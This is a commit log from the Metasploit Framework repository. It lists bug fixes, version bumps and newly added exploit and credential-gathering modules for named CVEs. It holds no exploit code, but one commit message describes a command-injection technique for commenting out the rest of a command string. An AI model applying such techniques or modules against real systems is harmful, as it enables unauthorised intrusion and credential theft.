ekalinichev-r7 847a72c417 Land #18638, add exploit for CVE-2022-42889 Apache Commons Text RCE 2024-01-19 13:02:53 +01:00
sjanusz-r7 b1fb58749b Use PostgreSQL session type for postgres_schemadump 2024-01-19 10:29:44 +00:00
sjanusz-r7 fbdb025542 Notify user on failed Postgres connection 2024-01-19 10:29:44 +00:00
sjanusz-r7 a4305f0ca0 Allow PostgreSQL lib to use session client 2024-01-19 10:29:44 +00:00
sjanusz-r7 5d7251ce44 Add PostgreSQL session type tests 2024-01-19 10:29:44 +00:00
sjanusz-r7 23a9938283 Add PostgreSQL session type 2024-01-19 10:29:37 +00:00
Metasploit d60e38220e Bump version of framework to 6.3.53 2024-01-18 12:08:11 -06:00
sfewer-r7 de6ed9e1d6 use get_json_document instead of JSON.parse 2024-01-18 15:35:43 +00:00
sjanusz-r7 6ca4c113ee Get memory match length from buffer TLV length for Mettle 2024-01-18 11:08:38 +00:00
sjanusz-r7 337400b9b8 Remove AARCH64 reference 2024-01-18 11:08:38 +00:00
sjanusz-r7 1e7b74a0e5 Correctly use process glob when searching for processes 2024-01-18 11:08:34 +00:00
sfewer-r7 4ff399844f By replacing the trailing ';' with a '#' we comment out the remaining portion of the command string (Thank you @jvoisin). We must also include a space character for this to work as expected, doing so also removes the need to bootstrap the Linux payloads with a separate file. 2024-01-18 10:04:38 +00:00
Stephen Fewer c74fd86961 Update modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:46 +00:00
Stephen Fewer 3bb1d2bc02 Update modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:35 +00:00
Stephen Fewer 5ba4aba912 Update documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:28 +00:00
Metasploit 39b094313f automatic module_metadata_base.json update 2024-01-17 12:01:09 -06:00
Christophe De La Fuente b8aa55c322 Land #18633, WordPress Backup Migration Plugin PHP Filter Chain RCE (CVE-2023-6553) 2024-01-17 18:42:52 +01:00
sjanusz-r7 6d14a244a4 Add generic memory search module documentation 2024-01-17 15:55:26 +00:00
sjanusz-r7 977a9f3cd4 Add generic memory search module for supported Meterpreter sessions 2024-01-17 15:55:23 +00:00
Metasploit 40c8c63529 automatic module_metadata_base.json update 2024-01-17 09:04:48 -06:00
sjanusz-r7 e238df4ad7 Bump metasploit-payloads to 2.0.164 2024-01-17 15:02:59 +00:00
Christophe De La Fuente a8d46b3e7a Land #18627, Ansible: post gather module, payload deployer, and file reader 2024-01-17 15:26:25 +01:00
adfoster-r7 f5691e747f Land #18710, Fix uninitialized exploit driver exception 2024-01-17 14:17:58 +00:00
Christophe De La Fuente 6dec82ec24 Remove exec.nil? statement 2024-01-17 15:06:15 +01:00
Egor Kalinichev 9ec36f3d4d Fix undefined method error in /api/v1/modules endpoint 2024-01-17 13:17:38 +01:00
sfewer-r7 2919b36f2b add in docs 2024-01-17 10:25:04 +00:00
sfewer-r7 70ef0dcb0d improve the check logic to fall through when the json doesnt have the key we expect it to have 2024-01-17 10:02:59 +00:00
sfewer-r7 518c1e5d3c mention Pull Connect as well as the CVEs in the description 2024-01-17 10:02:11 +00:00
sfewer-r7 ad7e348eaa remove a copy pasta link 2024-01-17 09:16:18 +00:00
adfoster-r7 1ac2b3b8e1 Fix unitialized exploit driver exception 2024-01-16 22:35:15 +00:00
Jack Heysel 607a2789d0 Revert "Changed payload double quote to single"
This reverts commit f1586f08c3.
2024-01-16 14:49:22 -05:00
Metasploit 54788067ff automatic module_metadata_base.json update 2024-01-16 13:46:58 -06:00
adfoster-r7 1ba704b1cb Land #18398, Update deprecated report_auth_info in various modules 2024-01-16 19:30:56 +00:00
Dean Welch 46273d5f08 Add test run with defer module loads feature enabled 2024-01-16 17:40:55 +00:00
sfewer-r7 f9419c4839 seperate commands into an array instead of one bog long string 2024-01-16 17:19:13 +00:00
sfewer-r7 ea1dafa353 this is a slightly nicer way to write this 2024-01-16 17:08:09 +00:00
Dean Welch 236f88541f Parse platform list within module metadata object 2024-01-16 14:53:05 +00:00
sfewer-r7 4060e069ed first commit of the ICS exploit 2024-01-16 14:32:48 +00:00
Dean Welch 1c4258fd1e Fix encoded payloads test 2024-01-16 13:31:51 +00:00
h00die 56a9beb39d ansible review 2024-01-15 17:18:49 -05:00
Jack Heysel f1586f08c3 Changed payload double quote to single 2024-01-15 12:09:41 -05:00
Dean Welch 2cf045d3c4 Leverage the module metadata cache in the module_sets 2024-01-15 14:56:46 +00:00
Metasploit 57f97ac79e automatic module_metadata_base.json update 2024-01-15 06:31:17 -06:00
adfoster-r7 0075212fa9 Land #18596, Update smb modules to work with smb sessions 2024-01-15 12:07:07 +00:00
adfoster-r7 677c355f76 Land #18702, updates the documention for public and private fields in credential.rb 2024-01-15 11:03:55 +00:00
shellspawn 18b2eec1db fixed a swap typo in credential documentation 2024-01-15 04:10:49 -06:00
h00die-gr3y e7f2abbf9e Small typo update 2024-01-14 19:26:10 +00:00
Gaurav Jain 225ef6847f Add output from test run on windows target 2024-01-15 00:26:47 +05:30
Jack Heysel 5e25a99700 Responded to comments 2024-01-12 13:08:32 -05:00
cgranleese-r7 63e1b49da1 Land #18682, Add tests for Msf::Exploit::Local exploit_type and sysinfo methods 2024-01-12 15:04:09 +00:00
cgranleese-r7 c0e02bdeeb Land #18655, Use first module with enabled hierarchical search 2024-01-12 14:38:28 +00:00
Jack Heysel 6d8666e35b Fixed spacing and removed unused method 2024-01-11 13:13:57 -05:00
Metasploit f8bd7dfd83 Bump version of framework to 6.3.52 2024-01-11 12:04:36 -06:00
Jack Heysel cdc66dd91f Last minute fix 2024-01-11 12:56:01 -05:00
Jack Heysel e44b57249d Merge branch 'wp-backup-migration-php-filter' of github.com:jheysel-r7/metasploit-framework into wp-backup-migration-php-filter 2024-01-11 12:30:42 -05:00
Jack Heysel 5c7061cc0c Remove OS dependant payload 2024-01-11 12:30:04 -05:00
adfoster-r7 017dcd89a6 Land #18690, Fix using module from hierarchical search not setting target payload 2024-01-11 16:24:07 +00:00
Spencer McIntyre caf26fbe55 Fix up old references to HTTP code 2024-01-11 10:56:40 -05:00
adfoster-r7 9d66ff650d Land #18691, Bump the minimum version of apktool 2024-01-11 00:55:48 +00:00
h00die b031311892 ansible review 2024-01-10 17:29:15 -05:00
h00die 381b840f11 salt review 2024-01-10 17:19:58 -05:00
h00die e711c9ea43 ansible review 2024-01-10 17:16:57 -05:00
h00die 2cfcb74303 saltstack review 2024-01-10 17:09:02 -05:00
h00die e9296d1add saltstack review 2024-01-10 17:04:03 -05:00
Spencer McIntyre c91660bc54 Bump the minimum version of apktool
Bump the minimum version of apktool to avoid CVE-2024-21633
2024-01-10 16:19:21 -05:00
adfoster-r7 6f5ec8a069 Land #18656, Force reload_all to load unloaded modules before refreshing modules 2024-01-10 20:24:54 +00:00
sjanusz-r7 7da13cedc4 Fix using module from hierarchical search not setting target payload correctly 2024-01-10 17:27:56 +00:00
Metasploit ffbaf3b141 automatic module_metadata_base.json update 2024-01-09 16:03:14 -06:00
bwatters 57c882cab5 Land #18604, Add Post Windows Gather to perform Mikrotik Winbox "Keep Password" credentials extraction
Merge branch 'land-18604' into upstream-master
2024-01-09 15:38:35 -06:00
Spencer McIntyre ad10cb84a9 Shorten the gss portion of the hardcore alias
Drop keys whose values are empty to shorten the string
2024-01-09 14:00:41 -05:00
jheysel-r7 43f4705e60 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-09 12:37:59 -05:00
adfoster-r7 656e65f9b0 Add tests for Msf::Exploit::Local exploit_type and sysinfo 2024-01-09 12:25:48 +00:00
siddolo dc6d84d823 Update modules/post/windows/gather/credentials/winbox_settings.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-01-09 00:43:10 +01:00
Spencer McIntyre 024bdaec6d Add a proper rex-based service for the SMB server 2024-01-08 16:54:22 -05:00
dwelch-r7 ad4b47f6ac Land #18667, Re-add the #sysinfo method 2024-01-08 15:14:29 +00:00
Metasploit 0d70f254bd automatic module_metadata_base.json update 2024-01-08 05:52:39 -06:00
adfoster-r7 234517e3eb Land #18672, spelling fixes for lib folder 2024-01-08 11:23:48 +00:00
adfoster-r7 6ffebfc822 Land #18679, Aux modules spelling 2024-01-08 11:22:58 +00:00
Metasploit c53bff7ee1 automatic module_metadata_base.json update 2024-01-08 05:07:40 -06:00
adfoster-r7 b4a043f511 Fix incorrect severity_code check in drda proto implementation 2024-01-08 10:57:43 +00:00
adfoster-r7 75c2de8c3d Revert spelling correction 2024-01-08 10:51:35 +00:00
adfoster-r7 85e3eb51a5 Land #18677, fix spelling in some modules 2024-01-08 10:46:45 +00:00
adfoster-r7 7da5ef87e7 Land #18676, fix spelling in spec folder 2024-01-08 10:45:23 +00:00
adfoster-r7 99c335a2b4 Land #18674, fix spelling in plugins folder 2024-01-08 10:44:33 +00:00
adfoster-r7 fd7b49981d Land #18673, fix spelling in scripts folder 2024-01-08 10:43:34 +00:00
adfoster-r7 aa0545618b Land #18675, fix spelling in tools folder 2024-01-08 10:42:19 +00:00
h00die 4cb904535e rubocop telegram/send_message 2024-01-07 15:04:17 -05:00
h00die 8beb6255cb fix spelling in aux modules 2024-01-07 15:02:53 -05:00
h00die 04c0dede5e fix spelling in some modules 2024-01-07 14:06:31 -05:00
h00die ec8ee2814a fix spelling in spec folder 2024-01-07 13:42:50 -05:00
h00die a7c547542f fix spelling in tools folder 2024-01-07 13:28:13 -05:00
h00die 89d6c8c8ef fix spelling in plugins folder 2024-01-07 13:24:11 -05:00
h00die de53f45e68 fix spelling in scripts folder 2024-01-07 13:20:40 -05:00
siddolo 469a325f9b Merge pull request #1 from bwatters-r7/update-18604
Quick change to add support for more sessions and to only read the fi…
2024-01-07 19:16:17 +01:00
h00die 6a851855a8 spelling fixes for lib folder 2024-01-06 15:54:49 -05:00
h00die-gr3y 85897a2596 update adding aarch64 architecture and some new targets 2024-01-06 17:26:38 +00:00
h00die 80e9f1b97d saltstack salt-master review 2024-01-06 06:38:59 -05:00
bwatters a0bc08c6ec Quick change to add support for more sessions and to only read the file once 2024-01-05 17:33:54 -06:00
Spencer McIntyre b10e8d566b Initial Rex SMB service to allow sharing 2024-01-05 17:18:08 -05:00
Gaurav Jain 98667edf76 Add suggested changes 2024-01-05 22:31:51 +05:30
adfoster-r7 ee3b8b40b6 Land #18669, Print additional settings notice on non-empty datastore values 2024-01-05 17:00:28 +00:00
h00die-gr3y 94a84960a2 Improved check for v3.x routers to obtain exact version 2024-01-05 16:20:29 +00:00
sjanusz-r7 e0804cf0cb Print additional settings notice on non-empty datastore values 2024-01-05 13:59:31 +00:00
h00die-gr3y eb902457f2 small update to module for mt6000 vuln test 2024-01-05 13:19:54 +00:00
Dean Welch 4bdff53358 Refactor dns send_tcp 2024-01-05 10:38:31 +00:00
Metasploit 08beaddf0a automatic module_metadata_base.json update 2024-01-04 17:49:52 -06:00
bwatters cdfa421d15 Land #18515, Add java target for ManageEngine ServiceDesk Plus CVE-2022-47966
Merge branch 'land-18515' into upstream-master
2024-01-04 17:25:08 -06:00
adfoster-r7 50579fb1de Land #18666, Fix the save command when dns_feature is disabled 2024-01-04 22:49:05 +00:00
Spencer McIntyre 03f3bf0f2f Readd the #sysinfo method 2024-01-04 17:21:29 -05:00
Spencer McIntyre 8d4142a8c7 Fix the save command when dns_feature is disabled 2024-01-04 17:08:29 -05:00
Metasploit d7f2ed4e4a Bump version of framework to 6.3.51 2024-01-04 12:58:16 -06:00
Metasploit 9dca2e3820 automatic module_metadata_base.json update 2024-01-04 11:37:35 -06:00
Spencer McIntyre 2028fbd226 Land #18404, Working Module for CVE-2023-38146 2024-01-04 12:20:26 -05:00
bwatters f341f72c72 add AKA 2024-01-04 11:11:23 -06:00
bwatters e4af94bb29 Pull in Spencer's file checks
Merge branch 'update-38146' into exploit/cve-2023-38146
2024-01-04 08:28:29 -06:00
Dean Welch f92b2662c4 Fix dns resolution skipping over nameservers with valid responses 2024-01-04 14:10:45 +00:00
h00die-gr3y 9bb7e0e379 small update to documentation 2024-01-04 14:04:34 +00:00
h00die-gr3y adf455e8cb Third release of module and documentation 2024-01-04 14:01:37 +00:00
adfoster-r7 1c5379918c Land #18660, ensure custom dns resolver support is fully behind a feature flag 2024-01-04 13:18:48 +00:00
dwelch-r7 5e59389d2b Land #18661, Update error message for meterpreter file contents test 2024-01-04 12:34:00 +00:00
adfoster-r7 00cfbc357a Update error message for meterpreter file contents test 2024-01-04 12:13:10 +00:00
Dean Welch 216cc6762f Put custom dns resolver behind feature flag 2024-01-04 11:18:47 +00:00
h00die-gr3y b2312c97d3 Second release of module and documentation 2024-01-04 09:26:16 +00:00
h00die-gr3y 9fdac8fd28 First release of module 2024-01-03 19:43:49 +00:00
adfoster-r7 4c1e1f614d Land #18657, Autoload Metasploit Payloads Gem 2024-01-03 17:50:56 +00:00
Dean Welch 52971ad2f6 Autoload Metasploit Payloads Gem 2024-01-03 16:24:12 +00:00
Dean Welch 7c448ceb50 Force reload_all to load any unloaded modules 2024-01-03 15:49:37 +00:00
adfoster-r7 afdb34d64a Use first module with enabled hierarchical search 2024-01-03 13:55:17 +00:00
Dean Welch 0d1ab00144 Fix recursive deadlock when reloading modules 2024-01-03 12:32:16 +00:00
Metasploit d5a59ceef1 automatic module_metadata_base.json update 2024-01-03 06:27:08 -06:00
adfoster-r7 a9f5c11d68 Land #18484, add ability to follow payload override in shell to meterpreter 2024-01-03 12:05:29 +00:00
h00die-gr3y 08c5e6a689 Draft release of module. Not ready for review 2023-12-31 10:19:34 +00:00
Spencer McIntyre 97c3ccc8af Keep the service running when a session is opened 2023-12-29 14:03:27 -05:00
Spencer McIntyre d67d39ace6 Add error checking to #setup 2023-12-29 14:03:23 -05:00
Julien Voisin ed421c21ca Add a way to get the buildid via perf 2023-12-29 17:24:27 +01:00
Kevin Joensen 3b8f684d08 Fixed check module function 2023-12-29 16:18:50 +01:00
Kevin Joensen 2f023f7315 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-29 14:50:47 +01:00
Metasploit 2390058b37 automatic module_metadata_base.json update 2023-12-28 12:43:00 -06:00
Jack Heysel 11d58ef2e8 Land #18631, Improve vScalation Priv Esc Check
This PR adds an improvement to the check method of the
vcenter_java_wrapper_vmon_priv_esc module. Before the module
would attempt to run stat on a file before checking if the file
existed on the system. This fixes that issue.
2023-12-28 13:16:11 -05:00
Metasploit c162cf3aec Bump version of framework to 6.3.50 2023-12-28 12:08:37 -06:00
Metasploit f8d541daad automatic module_metadata_base.json update 2023-12-28 11:58:41 -06:00
Jack Heysel 63eb5f2a35 Land #18632, Add improvements to glibc tunables
This PR adds improvements to the glibc tunables module. In the
event the file command is not present on the target the module
will try to use the readelf command in order to get the ld.so
BuildID to determine whether or not the target is compatible with
exploit.
2023-12-28 12:41:52 -05:00
Metasploit e9df84555e automatic module_metadata_base.json update 2023-12-28 10:51:30 -06:00
Jack Heysel beef573fb8 Land #18635, Authenticated Splunk Info Disclosure
This PR adds a module for an authenticated Splunk information
disclosure. This module gathers information about the host
machine and the Splunk install including OS version, build,
CPU arch, Splunk licnese keys etc.
2023-12-28 11:20:52 -05:00
Jack Heysel d6488dc0c3 Land #18610, Enables Payloads File Warning
This PR enables the Metasploit Payload Warnings feature
by default. When enabled Metasploit will output warnings
about missing Metasploit payloads, for instance if they
were removed by antivirus etc.
2023-12-27 14:20:04 -05:00
jheysel-r7 8b970af7f6 Update modules/auxiliary/gather/splunk_raw_server_info.rb 2023-12-27 12:40:18 -05:00
jheysel-r7 f950711da1 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-12-27 12:37:17 -05:00
Gaurav Jain d0beea91bd Add exploit for CVE-2022-42889 2023-12-25 00:43:50 +05:30
h00die 47a58bda3b saltstack library rubocop and comments 2023-12-24 11:54:22 -05:00
h00die 357bdc8c10 ansible post library 2023-12-24 11:49:27 -05:00
h00die b654275ec4 add saltstack lib 2023-12-23 13:52:52 -05:00
h00die 11c12fcb6d review comments 2023-12-23 13:23:34 -05:00
h00die e72242949e review comments 2023-12-23 12:22:57 -05:00
h00die a5698f6aa6 review comments 2023-12-23 12:18:06 -05:00
Metasploit 94a4a6173f automatic module_metadata_base.json update 2023-12-22 04:26:48 -06:00
Christophe De La Fuente 3182cb4000 Land #18612, Craft CMS unauthenticed RCE [CVE-2023-41892] 2023-12-22 10:59:39 +01:00
Balgogan 0a2dea523f Add suggested changes 2023-12-22 00:04:54 +01:00
bwatters ce43db0904 Fix TBDs and give better documentation. 2023-12-21 16:18:36 -06:00
n00bhaxor 54df3d25e0 Merge pull request #1 from h00die/splunk
splunk 6.6.0+
2023-12-21 13:12:19 -05:00
Metasploit d461187d58 Bump version of framework to 6.3.49 2023-12-21 12:07:52 -06:00
h00die-gr3y 4c404765a4 Final update to the module based on cdelafuente-r7 comments 2023-12-21 12:06:21 +00:00
h00die 91c58ba268 asan local better check 2023-12-20 21:00:17 -05:00
h00die 526da210ad asan local better check 2023-12-20 20:58:00 -05:00
h00die 0394f5f7ad splunk 6.6.0+ 2023-12-20 20:47:04 -05:00
bwatters 78bac2636b Add documentation 2023-12-20 18:44:05 -06:00
bwatters 7fafab9680 Bring in zerosteiner's PACKME_VERSION edit 2023-12-20 16:46:44 -06:00
bwatters 6f17088e33 Fix some linting 2023-12-20 16:44:49 -06:00
Jack Heysel eeb74cd5e1 Updated metadata 2023-12-20 16:49:45 -05:00
Spencer McIntyre 6fc0704930 Land #18477, Add docs for nessus_rest_login 2023-12-20 16:49:09 -05:00
Jack Heysel e3062d45e0 Module working docs updated 2023-12-20 16:41:52 -05:00
Spencer McIntyre 300c53d005 Fix typos and tweak the section order 2023-12-20 16:31:52 -05:00
jvoisin fc66cd1522 Improve a bit glibc_tunables_priv_esc
- Fix some typos
- Add a check via `readelf` should `file` not be available
- Add a message before launching the exploit, since it might take some time to finish.
2023-12-20 20:59:47 +01:00
Metasploit aebda4f78c automatic module_metadata_base.json update 2023-12-20 13:21:40 -06:00
n00bhaxor a31de9eb05 Adding Splunk Info Disclosure module. 2023-12-20 14:07:50 -05:00
Christophe De La Fuente fb26c93291 Land #18541, Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) 2023-12-20 20:04:21 +01:00
Metasploit e0f20454ea automatic module_metadata_base.json update 2023-12-20 12:17:22 -06:00
Jack Heysel 77fb5d02b2 Fixed up indentation and rubocop complaints 2023-12-20 13:16:32 -05:00
jheysel-r7 342492557d Apply suggestions from code review 2023-12-20 13:09:13 -05:00
jheysel-r7 6a16602a08 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-12-20 13:08:33 -05:00
Christophe De La Fuente 7ca256560d Land #18542, Vinchin Backup & Recovery Command Injection 2023-12-20 18:56:50 +01:00
Balgogan 9c9af0dca1 Fix statement 2023-12-20 01:51:19 +01:00
h00die 1e374403ec better check for vmon 2023-12-19 19:01:45 -05:00
Balgogan 22a05c8bf5 Add CVE-2023-50917 2023-12-20 00:43:00 +01:00
Spencer McIntyre 3ac9c0c38a Patch in the theme version to the MSStyles file 2023-12-19 17:05:01 -05:00
Jack Heysel d65ceb9abc Rubocop 2023-12-19 13:54:23 -05:00
Jack Heysel b86df4820c Responded to comments from jvoisin 2023-12-19 13:50:09 -05:00
jheysel-r7 96241f509a Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-12-19 13:18:45 -05:00
Jack Heysel 065abf6b92 Rubocop, doc scenario update 2023-12-19 12:30:02 -05:00
Jack Heysel 44b4b3b5bc Update version parsing 2023-12-19 12:16:17 -05:00
Jack Heysel 4e61596e7a Check Build ID before running exploit 2023-12-19 12:15:35 -05:00
Jack Heysel e858628292 Execute python payload in memory 2023-12-19 00:46:11 -05:00
Jack Heysel 549ee43df9 Update docs description minor comments 2023-12-19 00:32:21 -05:00
Jack Heysel 2ed3b771ed Updated python exploit 2023-12-19 00:26:54 -05:00
Jack Heysel c6a6809700 Updated attribution 2023-12-18 19:41:49 -05:00
Jack Heysel c895364675 Initial commit, files created 2023-12-18 19:26:14 -05:00
Spencer McIntyre a4d602669b Land #18623, Add File.expand_path to generate -o
Add File.expand_path to fix no such file error
2023-12-18 14:26:00 -05:00
Metasploit be84dbaed8 automatic module_metadata_base.json update 2023-12-18 12:13:16 -06:00
Christophe De La Fuente 45d2c7f4e0 Land #18566, CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE 2023-12-18 18:51:36 +01:00
h00die-gr3y 5d7cf90521 Some minor changes to the module and documentation 2023-12-18 08:23:16 +00:00
h00die 5e30328268 move options 2023-12-17 15:24:56 -05:00
h00die 6b376b9156 move options 2023-12-17 15:24:16 -05:00
Gaurav Jain e9ff2e55dc Remove useless include of Report mixin in psnuffle.rb 2023-12-17 22:53:19 +05:30
h00die-gr3y 9ac3739605 Minor changes to the documentation 2023-12-17 13:51:30 +00:00
h00die-gr3y 0641839e69 Added documentation and removed debug info 2023-12-17 13:10:18 +00:00
Gaurav Jain a58f7f0558 Minor fixes to modules to use report_cred 2023-12-16 23:40:30 +05:30
h00die-gr3y db099f8f4c Third release of module 2023-12-16 16:06:05 +00:00
h00die 02302439a0 saltstack salt minion deployer 2023-12-16 10:13:46 -05:00
h00die c911ec1413 ansible collection 2023-12-16 07:16:26 -05:00
Metasploit c2fe6d6696 automatic module_metadata_base.json update 2023-12-15 13:46:20 -06:00
adfoster-r7 c1186be67d Land #18622, Update PetitPotam For New Windows Servers 2023-12-15 19:22:09 +00:00
Spencer McIntyre 8d344a921d Cleanup the tree and pipe 2023-12-15 13:40:55 -05:00
Spencer McIntyre abc108d81a Bump RubySMB to 3.3.1 2023-12-15 12:34:22 -05:00
Spencer McIntyre 0023e19e57 Update petitpotam to use the refactored module 2023-12-15 11:50:33 -05:00
Jack Heysel 5d5ccd25e1 Removed unnecssary files 2023-12-15 10:46:23 -05:00
Spencer McIntyre 6bc3e1eb9a Update DCERPC to authenticate for newer targets
Newer versions of Windows require the inner DCERPC connection to also be
authenticated. The prior version of the petitpotam module used Rex and
did not provide this authentication. Switching to RubySMB exposes this
functionality and allows the module to work on the latest versions of
Windows.
2023-12-15 10:02:35 -05:00
Kevin Joensen 7bacc642bf Merge branch 'prtg_authenticated_rce_cve_2023_32781' of github.com:ggisz/metasploit-framework into prtg_authenticated_rce_cve_2023_32781 2023-12-15 13:58:49 +01:00
Kevin Joensen 2f3e207277 Fixed documentation for exploit 2023-12-15 13:58:10 +01:00
Simon Janusz b019b2ff89 Land #18619, Fix crash when running the favorites command 2023-12-15 11:35:53 +00:00
adfoster-r7 742148511a Update favorites command to support hierarchical search output 2023-12-15 10:15:14 +00:00
Jack Heysel d9aa7f914e Added newline to PoC and removed empty file 2023-12-14 18:42:09 -05:00
Jack Heysel df111afb06 Glibc Tunables Exploit 2023-12-14 18:28:43 -05:00
Metasploit e3810a4db6 Bump version of framework to 6.3.48 2023-12-14 12:08:41 -06:00
Jack Heysel c1459df10f Check method improvement 2023-12-14 12:42:23 -05:00
jheysel-r7 a14b28e941 Update modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-12-14 11:55:48 -05:00
jheysel-r7 ef178298b2 Update lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-12-14 11:55:30 -05:00
Metasploit 1ee32a2d8e automatic module_metadata_base.json update 2023-12-14 07:36:17 -06:00
adfoster-r7 5852077d84 Land #18614, Fix net-ssh lib now requiring ssh key type 2023-12-14 13:12:10 +00:00
h00die-gr3y d00249f083 Second release with manual cleanup of php* files 2023-12-14 12:57:07 +00:00
sjanusz-r7 ff6db7f337 Enable Metasploit Payloads file warning messages by default 2023-12-14 12:55:43 +00:00
Spencer McIntyre 0f4644df9e Land #18609, Fix empty download_exec payload
Fix empty cmd/windows/powershell/download_exec payload

Closes #18607
2023-12-13 15:56:44 -05:00
sjanusz-r7 f5e81aee2a Add docs for ssh_identify_pubkey using Metasploitable2 as target 2023-12-13 17:00:46 +00:00
sjanusz-r7 7d37c017fe Register RHOST for ssh_identify_pubkeys 2023-12-13 17:00:19 +00:00
h00die 9c869a6768 fix spelling 2023-12-13 09:45:02 -05:00
Kevin Joensen 5de0e4e234 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-13 14:30:00 +01:00
Kevin Joensen 52a23e3afb Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-13 14:29:49 +01:00
h00die 1749fa1e50 store module loot 2023-12-13 07:37:24 -05:00
h00die 8eefea76ce puppet post gather module 2023-12-13 07:12:17 -05:00
adfoster-r7 4e106c2a73 Fix aarch64 elf shared object bus error 2023-12-13 00:26:53 +00:00
bwatters 95eb4cc304 Pull in changes from Spencer's branch, but not the Gemfile changes. 2023-12-12 10:09:13 -06:00
bwatters 3534181067 rename file 2023-12-12 10:09:13 -06:00
bwatters d3b0c538a1 Probably need to figure out how to get the requested filename.... 2023-12-12 10:09:13 -06:00
bwatters 62d3cfa72d Still not working, but closer 2023-12-12 10:09:13 -06:00
bwatters ce55c1cd78 Fix silly file name disagreement 2023-12-12 10:09:13 -06:00
bwatters 486f42896f Non-Working Draft Module 2023-12-12 10:09:13 -06:00
sjanusz-r7 560f668906 Fix net-ssh lib now requiring ssh key type 2023-12-12 14:22:06 +00:00
Metasploit a4ffd038a3 automatic module_metadata_base.json update 2023-12-12 06:04:27 -06:00
Dean Welch 58f79c7b47 Fix typo 2023-12-12 11:59:07 +00:00
Dean Welch 7e88279299 Add smb session support to scanner modules 2023-12-12 11:59:07 +00:00
Dean Welch cf24bca946 Add smb session support to smb_relay module 2023-12-12 11:59:07 +00:00
Dean Welch c55d4ceda0 Add smb session support to windows_secrets_dump module 2023-12-12 11:59:07 +00:00
Dean Welch 387c90e91e Add smb session support to psexec_ntdsgrab module 2023-12-12 11:59:07 +00:00
Dean Welch 36cc8f6267 Add smb session support to upload_file module 2023-12-12 11:59:07 +00:00
Dean Welch b0d7695e10 Add smb session support to download_file module 2023-12-12 11:59:07 +00:00
Dean Welch 1f91d2eee9 Add smb session support to delete_file module 2023-12-12 11:59:07 +00:00
cgranleese-r7 5f396245f2 Land #18539, Add Smb session type 2023-12-12 11:45:19 +00:00
Dean Welch fb815f5faf Code review changes 2023-12-12 10:46:40 +00:00
adfoster-r7 5f004106ac Land #18601, update Dockerfile to support arm64 and amd64 2023-12-12 10:09:37 +00:00
Metasploit c27e8f0433 automatic module_metadata_base.json update 2023-12-11 19:19:22 -06:00
Jack Heysel 603e5b2bff Land #18569, Add a module to perform ASREP-roasts
This adds a module to gather credential material from accounts
with Requires Pre-Authentication disabled. The module supports two
mechanisms, Brute Forcing using a list of usernames or using a LDAP
query to request the relevant usernames, followed by requesting TGTs.
2023-12-11 19:58:06 -05:00
Jack Heysel 862194d63f Documentation and rubocop changes 2023-12-11 19:01:35 -05:00
Jack Heysel 61414fab27 Refactored module to use mixin 2023-12-11 18:24:37 -05:00
Jack Heysel 16dd06bbac Added payload plugin mixin 2023-12-11 18:24:13 -05:00
Jack Heysel 7b74b758ad Removed unnecessary files in zip backup 2023-12-11 18:23:22 -05:00
Metasploit dd4288e734 automatic module_metadata_base.json update 2023-12-11 16:40:20 -06:00
bwatters c15f639bd4 Land #18598, Update metasploit-payloads to 2.0.161
Merge branch 'land-18598' into upstream-master
2023-12-11 16:00:40 -06:00
bwatters daa6d5363f Land #18577, Added RCE Module for Splunk Enterprise (CVE-2023-46214)
Merge branch 'land-18577' into upstream-master
2023-12-11 15:52:05 -06:00
Corey 64108de524 Add expand_path 2023-12-11 16:43:01 -05:00
adfoster-r7 17bed1936e Land #18613, Bump ruby smb version 2023-12-11 18:59:35 +00:00
Simon Janusz d93e1fb446 Land #18606, Update to rpc_plugin to use HashWithIndifferentAccess 2023-12-11 17:32:15 +00:00
Dean Welch 68b7f29187 Bump ruby smb version 2023-12-11 17:25:26 +00:00
Zach Goldman 90d3d6fc0a testing for opt_enum changes 2023-12-11 09:08:54 -06:00
Balgogan 374d724567 Lint 2023-12-11 15:36:10 +01:00
Valentin Lobstein 78c57c1c5c Update modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-11 15:22:33 +01:00
Valentin Lobstein cb0ee49f71 Update modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-11 15:22:09 +01:00
h00die-gr3y ff44932113 first draft release of module 2023-12-10 21:09:40 +00:00
Aleksa Zatezalo bc16684046 Update nessus_rest_login.md 2023-12-09 22:57:22 -05:00
Aleksa Zatezalo 93cfdd88cb Rename nessus_http_login.md to nessus_rest_login.md 2023-12-09 22:57:03 -05:00
MikeAnast b336bcaf30 updated Dockerfile for arm architectures 2023-12-08 16:43:40 +02:00
manastas 87689ce5cb Merge branch 'rapid7:master' into build-arm-dockerfile 2023-12-08 09:38:59 -05:00
adfoster-r7 a28e9fb841 Fix empty cmd/windows/powershell/download_exec payload 2023-12-08 01:00:45 +00:00
